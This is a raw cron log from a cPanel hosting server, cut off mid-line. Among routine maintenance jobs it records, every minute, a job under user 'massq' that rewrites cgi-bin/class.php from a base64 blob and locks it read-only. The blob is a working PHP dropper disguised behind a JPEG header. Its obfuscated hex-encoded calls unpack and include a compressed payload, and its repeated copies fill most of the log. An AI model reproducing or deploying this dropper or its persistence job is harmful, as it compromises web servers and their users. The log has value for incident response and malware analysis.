Sep 12 07:54:01 server CROND[9931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:55:01 server CROND[10383]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 07:55:01 server CROND[10385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:55:01 server CROND[10390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:55:01 server CROND[10392]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 07:55:01 server CROND[10391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:55:01 server CROND[10393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:55:01 server CROND[10389]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:56:01 server CROND[11225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:56:01 server CROND[11226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:56:01 server CROND[11227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:57:01 server CROND[11634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:57:01 server CROND[11636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:57:01 server CROND[11637]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 07:57:01 server CROND[11635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:58:01 server CROND[12024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:58:01 server CROND[12025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:58:01 server CROND[12023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:59:01 server CROND[12433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:59:01 server CROND[12434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:59:01 server CROND[12435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:00:01 server CROND[12916]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 08:00:01 server CROND[12917]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep 12 08:00:01 server CROND[12920]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 08:00:01 server CROND[12922]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 08:00:01 server CROND[12925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:00:01 server CROND[12923]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 08:00:01 server CROND[12928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:00:01 server CROND[12927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:00:01 server CROND[12931]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:00:01 server CROND[12930]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:00:01 server CROND[12929]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 08:01:01 server CROND[13815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:01:01 server CROND[13816]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 08:01:01 server CROND[13818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:01:01 server CROND[13817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:01:01 server run-parts(/etc/cron.hourly)[13816]: starting 0anacron
Sep 12 08:01:01 server run-parts(/etc/cron.hourly)[13836]: finished 0anacron
Sep 12 08:02:01 server CROND[14202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:02:01 server CROND[14203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:02:01 server CROND[14204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:03:01 server CROND[14579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:03:01 server CROND[14580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:03:01 server CROND[14581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:04:01 server CROND[14966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:04:01 server CROND[14965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:04:01 server CROND[14967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:05:01 server CROND[15468]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:05:01 server CROND[15469]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 08:05:01 server CROND[15474]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 12 08:05:01 server CROND[15477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:05:01 server CROND[15478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:05:01 server CROND[15479]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 08:05:01 server CROND[15480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5e